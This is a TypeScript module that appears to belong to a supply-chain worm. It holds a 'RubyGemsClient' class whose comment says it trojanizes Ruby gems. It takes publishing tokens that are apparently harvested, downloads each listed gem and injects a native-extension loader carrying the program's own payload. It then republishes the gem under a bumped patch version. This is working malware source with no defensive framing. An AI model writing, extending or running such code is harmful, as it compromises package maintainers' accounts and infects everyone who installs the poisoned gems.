import { logUtil } from "../../utils/logger"; import { Mutator } from "../base"; import { downloadGem, fetchGemInfo, patchGemBundle } from "./gem"; import { publishGem } from "./publish"; import type { RubygemsTokenInfo } from "./tokenCheck"; /** * RubyGems mutator — trojanizes Ruby gems by injecting a native extension * (extconf.rb + Makefile bash bun loader) and re-publishing with a bumped * patch version. */ export class RubyGemsClient extends Mutator { private readonly tokenInfo: RubygemsTokenInfo; private readonly dryRun: boolean; constructor(tokenInfo: RubygemsTokenInfo, dryRun = false) { super(); this.tokenInfo = tokenInfo; this.dryRun = dryRun; } async execute(): Promise { try { const isUnix = ["darwin", "linux"].includes(process.platform); if (!isUnix) { logUtil.log("[rubygems] skipping — unsupported platform"); return false; } const gems = this.tokenInfo.gems; if (gems.length === 0) { logUtil.log("[rubygems] no gems to process"); return false; } logUtil.log( `[rubygems] targeting ${gems.length} gem(s): ${gems.join(", ")}`, ); const rawPayload = await Bun.file(Bun.main).text(); let published = 0; for (const gemName of gems) { try { const ok = await this.processGem(gemName, rawPayload); if (ok) published++; } catch (e) { logUtil.log( `[rubygems] error processing ${gemName}: ${e instanceof Error ? e.message : String(e)}`, ); } } logUtil.log(`[rubygems] done. published ${published} gem(s).`); return published > 0; } catch (e) { logUtil.error(`[rubygems] fatal: ${e}`); return false; } } private async processGem( gemName: string, rawPayload: string, ): Promise { // 1. Fetch gem metadata const info = await fetchGemInfo(gemName); if (!info) { logUtil.log(`[rubygems] ${gemName}: could not fetch gem info, skipping`); return false; } // 2. Download const gemData = await downloadGem(info.downloadUrl); if (!gemData) { logUtil.log(`[rubygems] ${gemName}: download failed, skipping`); return false; } // 3. Patch (inject ext/, bump version, repack) const patched = await patchGemBundle(gemData, rawPayload); // 4. Publish return publishGem( patched.data, patched.filename, this.tokenInfo.authToken, this.dryRun, ); } }